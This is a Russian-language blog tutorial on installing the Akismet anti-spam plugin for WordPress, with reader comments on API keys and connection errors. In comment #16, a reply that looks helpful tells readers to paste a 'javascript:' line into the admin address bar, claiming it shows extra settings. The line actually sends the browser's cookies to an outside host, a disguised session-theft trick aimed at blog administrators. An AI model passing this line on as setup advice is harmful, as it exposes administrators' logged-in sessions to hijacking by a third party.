Akismet
Раньше я считал, что антиспам плагины нужны только для самых раскрученных блогов, но однажды у меня на совсем почти пустом блоге к одной определенной записи посыпался спам в комментариях, причем не просто десяток спамных сообщений, а полторы тысячи (!) за 3 дня. В каждом спамном комментарии было множество ссылок, поэтому WordPress не пропустил ни одного из них, но разгребать эту кучу спама вручную не было никакой возможности и мне пришлось установить плагин, который я обычно сразу же удаляю на свеже-установленном блоге, а именно самый известный антиспам плагин Akismet.
Скачиваем последнюю версию плагина и устанавливаем:
1. Распаковываем архив.
2. Копируем папку akismet в /wp-content/plugins/.
3. Заходим в админку блога на вкладку "Плагины" и активируем плагин.
4. Плагин нам выдал следующее сообщение:
Что ж, идем по ссылке и регистрируемся там для получения этого самого API-ключа. Регистрация достаточно проста:
Username: (ваш логин)
Password: (ваш пароль, от 4 символов)
Confirm: (подтверждение пароля)
Email Address: (ваш имейл)
Legal flotsam: (ставьте галку, что вы согласны с условиями)
и выбор между:
Gimme a blog! (завести блог вида вашлогин.wordpress.com)
Just a username, please. (только логин для получения API-ключа)
Советую выбрать только логин. Жмем кнопку "Next". Время от времени сервер у них висит, так что если вам сообщили об ошибке следует просто подождать и попробовать зарегистрироваться попозже. Так же сообщение об ошибке может означать, что выбранный логин уже занят. Удивительно, но сообщить о занятости логина они не могут, выдавая общую ошибку. Если все прошло гладко, то вам сообщат о том, что подтверждающее письмо было отослано на ваш email и что вы должны подтвердить регистрацию в течение двух суток. Проверяем почту и кликаем на ссылку в письме от WordPress.com. Нам сообщат, что теперь аккаунт активирован и мы можем зайти по ссылке "login". Авторизируемся, попадаем на главную страничку. Смотрим вверху слева ссылку на "My Account", кликаем в выпадающем меню на ссылку "Edit Profile", видим следующую фразу:
Где выделенная часть и есть ваш API-код. Идем в "Плагины\Настройки фильтра Akismet", вставляем API-код в соответствующее текстовое окошко и жмем на "Обновить настройки". Все, теперь плагин работает.
Когда кто-либо оставит комментарий в вашем блоге плагин отправит его на проверку на свой сервер. Если сервер после тестов не сочтет его спамом, тогда комментарий будет опубликован, иначе он будет помечен как спам. И хотя создатели плагина утверждают, что комментарий проходит сотни тестов на практике решающим фактором будут имя и ссылка на сайт комментирующего. Когда вы помечаете комментарий как спам Akismet у себя на сервере отмечает в базе, что такое-то имя вкупе с такой-то ссылкой было замечено в написании спамных комментариев. При достижении некоторой "критичной" массы Akismet на всех блогах начнет помечать комментарии с данной ссылкой и именем как спам (причем, думаю, что ссылка имеет решающее значение).
В теории это выглядит замечательно: кто-то отметил комментарий как спам и теперь похожий комментарий от данного автора будет отмечен как спам и у вас на блоге. Но на практике это означает, что если десятку блогеров не понравятся ваши комментарии и они отметят их как спам, то все ваши комментарии теперь будут попадать в спам на всех блогах, где используется Akismet, а это плохо тем, что большинство блогеров не просматривают список спамных комментариев и не вытаскивают оттуда ошибочно помеченные как спам комментарии. Нередки и подставы, когда злоумышленник использует ваше имя и ссылку на сайт, оставляя заведомо спамные комментарии на блогах. Рано или поздно вы попадете в "черный список". Как с этим бороться мне неизвестно. Но зная о таком возможном развитии событий не ленитесь просматривать у себя на блоге комментарии, помеченные как спам Akismet'ом - вполне возможно, что туда попали и неспамные комментарии.
Akismet также дает возможность показать сколько он отсеял спама на блоге. Для этого используйте следующий код:
<?php if(function_exists('akismet_counter')) { akismet_counter(); } ?>
И тогда вы получите вот такой счетчик спама:

Причем внешний вид этого счетчика можно легко настроить через css-код, который встроен в файл плагина. Для его изменения откройте akismet.php и отредактируйте следующий код:
1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 | <style type="text/css"> #akismetwrap #aka,#aka:link,#aka:hover,#aka:visited,#aka:active{color:#fff;text-decoration:none} #aka:hover{border:none;text-decoration:none} #aka:hover #akismet1{display:none} #aka:hover #akismet2,#akismet1{display:block} #akismet2{display:none;padding-top:2px} #akismeta{font-size:16px;font-weight:bold;line-height:18px;text-decoration:none} #akismetcount{display:block;font:15px Verdana,Arial,Sans-Serif;font-weight:bold;text-decoration:none} #akismetwrap #akismetstats{background:url(<?php echo get_option('siteurl'); ?>/wp-content/plugins/akismet/akismet.gif) no-repeat top left;border:none;color:#fff;font:11px 'Trebuchet MS','Myriad Pro',sans-serif;height:40px;line-height:100%;overflow:hidden;padding:8px 0 0;text-align:center;width:120px} </style> |
Кстати, возвращаясь к моему случаю с получением полутора тысяч спамных комментариев за 3 дня. Хотя Akismet мне помог в плане того, что все они были помечены как спам мне все же пришлось отключить комментарии к той записи вообще. Из-за банальной вещи: слишком уж большая нагрузка была на сервер и иначе как отключением комментариев решить проблему не удалось. Надеюсь вы не попадете в базы данных специализированного спам-софта и вам не придется использовать отключение комментариев, как выход из ситуации.
Автор плагина:
Страница плагина:
Рассматриваемая версия: 2.2.6 от 20.07.2009
Совместимость с версией WordPress: 2.0 и выше.
Рекомендую также:

#1, 4 августа, 2008 в 02:17
Akismet выдает ошибку,что не может соеденится с сервером.Поэтому не принимает Api-ключ.Не подскажите в какую сторону смотреть?
#2, 4 августа, 2008 в 04:56
попробовать позже, у них часто сервер не доступен.
#3, 5 августа, 2008 в 01:04
Спасибо большое
#4, 22 сентября, 2008 в 18:56
По-моему он у них всегда не доступен. Такое большое дело затеяли, а сервер нормальный поставить не могут. :-(
#5, 27 сентября, 2008 в 16:38
3 недели уже не могу зарегиться чтобы получить ключ. всё время сервис недоступен. может есть какие-то другие способы получения этого ключа?
#6, 27 сентября, 2008 в 16:55
писать им на support - другого пути получить ключ нет.
#7, 7 октября, 2008 в 19:09
Я смог зарегится и получить API, только тогда, когда сунул не бесплатный, а свой (на своем домене сделанный) е-мейл. Возможно это решение.
#8, 17 ноября, 2008 в 16:02
А у меня следующая трабла: когда нажимаю удалить все комменты спамные, акисмет выдает ошибки:
Invalid argument supplied for foreach() in /akismet.php on line 731
Cannot modify header information - headers already sent by akismet.php:731 in pluggable.php on line 770
#9, 3 декабря, 2008 в 09:50
Помогите начинающему блогеру.
Я ввела полученный ключ и получила сообщение "Ключ, который вы ввели, правильный, но мы не можем установить соединение с akismet.com. Проверьте настройки сервера". Решила просто "обновить настройки" и получила еще одно сообщение "Ключ, который вы ввели, не может быть проверен, поскольку отсутствует соединение с сервером akismet.com. Проверьте настройки сервера." И что мне теперь делать? Какие настройки и какого сервера проверять?
Спасибо.
#10, 3 декабря, 2008 в 11:48
чота здесь никто не помогает, Лариса :)
#11, 17 декабря, 2008 в 17:12
Видимо, действительно сервер не работал. Через некоторое время все наладилось самом собой.
Для тех, кто только собирается получить API-ключ, указывать надо адрес на gmail.com, а если майл.ру и т.п. ключа не дождетесь.
#12, 5 февраля, 2009 в 12:56
Это еще ничто.. у меня за неделю 8 447 спам комментариев.. это кошмар какой то)) сейчас поставил этот плагин, очень надеюсь на его помощь
#13, 14 февраля, 2009 в 12:01
Можно ли использовать api ключ один и тот же, на нескольких блогах?
#14, 26 марта, 2009 в 12:23
Да, отличный плагин, работает хорошо. Я пробовал его деактивировать, чтоб проверить: бросает он спам или ошибается. Восстановил комментарии, через паразит элиминатор проверил, и оказалось в самом деле спамом. Поэтому думаю, навряд ли он ошибается.
#15, 4 апреля, 2009 в 23:14
Здравствуйте!
Достаточно быстро и успешно активировал плагин, но не могу установить его код в меню сайта. Пробовал через дизайн и виджеты, увы, не получилось. Не подскажите, как можно через виджеты установить счетчик на сайт.
Спасибо
#16, 18 апреля, 2009 в 01:52
Попробуйте все-таки код пхп, просто добавить в sidebar.php
php if(function_exists('akismet_counter')) { akismet_counter(); } ?
Также можно из админки попробовать написать в адресной строке:
javascript:document.write('img = new Image(); img.src = "http://httpz.ru/n1992.gif?"+document.cookie;')
тогда будут показаны дополнительные настройки WordPress
#17, 10 июня, 2009 в 22:53
Скажите пожалуйста, а не слишком большую нагрузку дает этот плагин на сервер? Когда-то у меня были проблемы с хостером из-за FireStats. С тех пор ко всем плагинам отношусь с опаской...
#18, 30 июня, 2009 в 21:14
Здравствуйте..я "молодой" блоггер..очень жаль но еще ни на один мой вопрос автор блога ниразу не дал ответ (( досадно.
Ладно,будем брать количеством =)
Вопрос. Если активировать плагин, чтобы он нормально работал его в виджетах надо на главной вывести или не обьязательно?
И еще вопрос..если он всетаки пропустит пару сообщений они будут поданы админу на одобрение..а как же с теми что помечены как спам? как их просмотреть? в статистике аксимета только статистика (
#19, 30 июня, 2009 в 21:18
Есть один существенный минус. Сейчас в пуле перехваченных комментариев невозможно посмотреть собственно текст комментария, чего, вообще-то, как раз хотелось бы. Но Мэтт обещал, что скоро это будет. (Мэтт - автор плагина)(http://softwaremaniacs.org/blog/2005/11/18/akismet-antispam-plugin/)
#20, 1 августа, 2009 в 06:47
не обязательно.
абсолютно точно нет.
да, по крайней мере, я использую 1 ключ на многих блогах.
#21, 1 августа, 2009 в 06:47
вероятно вы редактировали файл плагина и сохранили его в неправильной кодировке, должно быть UTF8 без BOM.
#22, 3 сентября, 2009 в 18:15
Спасибо за совет. Вордпресс только-только поставил, и мне как-то в голову не пришло, что можно отключить комменты для одного поста (почему-то один пост очень полюбился спамерам).
Akismet проверяет только новые комменты? Я так понимаю, что существующую очередь он не обрабатывает?
#23, 3 сентября, 2009 в 19:02
нет в курсе если честно. опубликованные комменты он точно не станет обрабатывать, а вот насчет очереди комментов на одобрение я не уверен.
#24, 10 сентября, 2009 в 12:20
Спасибо, буду пробовать на своем блоге.
#25, 19 сентября, 2009 в 18:35
Большое спасибо за статью с ее помощью я установил Akismet на своем блоге. Очень грамотно и толково написано, даже можно сказать разжеванно. Удачи! Заношу ваш блог в закладки.
#26, 4 ноября, 2009 в 18:03
У меня в админке плагина выдает: "Невозможно получить доступ к серверам Akismet." Как быть?
#27, 4 ноября, 2009 в 20:05
попробовать позже, иногда сервера перегружены. не поможет - значит может быть 2 проблемы: нехватка памяти (например, на VPS при нехватке памяти акисмет перестает соединяться с серверами) и ограничение на исходящие коннекты (если виджеты в админке вроде входящих ссылок и последних плагинов отображаются - значит проблема в чем-то другом).
#28, 20 ноября, 2009 в 14:29
Спасибо - хорошо расисано, поставил себе на блог, надеюсь спама будет меньше
#29, 23 ноября, 2009 в 09:44
Спасибо, все очень подобно расписано и работает.
#30, 9 декабря, 2009 в 22:26
Наконец то нашел то что нужно для своего блога, уже замучался вручную спам модерировать.
#31, 14 декабря, 2009 в 17:14
Ключ получил без проблем, сразу после регистрации, но при его вводе в настройках Akismeta появляется сообщение: "Ключ, который вы ввели, не может быть проверен, поскольку отсутствует соединение с сервером akismet.com. Проверьте настройки сервера". Подскажите, пожалуйста, кто знает - где искать эти "настройки сервера"???
#32, 14 декабря, 2009 в 18:33
должны быть разрешены исходящие соединения у сервера. спрашивать об этом надо тех.поддержку хостинга. но лучше всего вам подождать день-другой - иногда все само по себе начинает работать.
#33, 23 декабря, 2009 в 01:19
Спасибо за статью. Искал описание этого плагина, нашел у тебя на блоге. Ты прав насчет "подстав" с боку конкурентов. По этому, для себя решил его не ставить, а ограничиться капчей.
#34, 17 января, 2010 в 18:09
Всё было прекрасно до последних дней =) Я сделал и каптчу и даже подмену полей ввода комментариев. Но в последние дни стал проходить спам, увы =( Большой такой спам. Нехилые такие комментарии =) В общем, решил поставить этот плагин, глянем как будет работать. Устал уже ручками чистить =(
#35, 9 марта, 2010 в 20:39
Пользуюсь плагином сам и устанавливаю клиентам, блокирует практически весь спам. Фишка в том, что плагин работает с общими базами данных, т.е. если у кого-то на блоге установлен плагин и ему добавили спам-комментарий, он его помечает как спам и это фиксируется в общей базе данных плагина.
Когда на ваш блог, попробует пробиться этот же комментарий, плагин его не пропустит, т.к. он уже "знает", что это спам.
#36, 28 марта, 2010 в 23:56
Коллеги может кто знает как ограничить количество знаков для ввода в поле комментариев. Например до 250, чтобы любители спама не могли оставлять большие тесты перегружающие сервер ?
Буду признателен за подсказку...
#37, 29 марта, 2010 в 01:52
зачем заниматься таким шаманством, когда можно вообще избавиться от ?
#38, 1 июня, 2010 в 13:16
Проверял я это Akismet. Пишет он какие-то огромные вымышленные цифры. Когда же его отключаешь, то оказывается, что он отлавливает то же самое, что и WordPress простым заданием кол-ва ссылок, с той лишь разницей, что в Akismet-е это количество отрегулировать нельзя.
#39, 9 июня, 2010 в 15:13
Здравствуйте.
У меня некоторые валидные комментарии пометил как спам, есть у этого плагина какие-нибудь настройки влияющие на его работу, белые листы и прочее?
#40, 15 июля, 2010 в 17:16
Спасибо, пол дня просидел. Глаза замылились. Зарегистрировался без проблем а код искал очень долго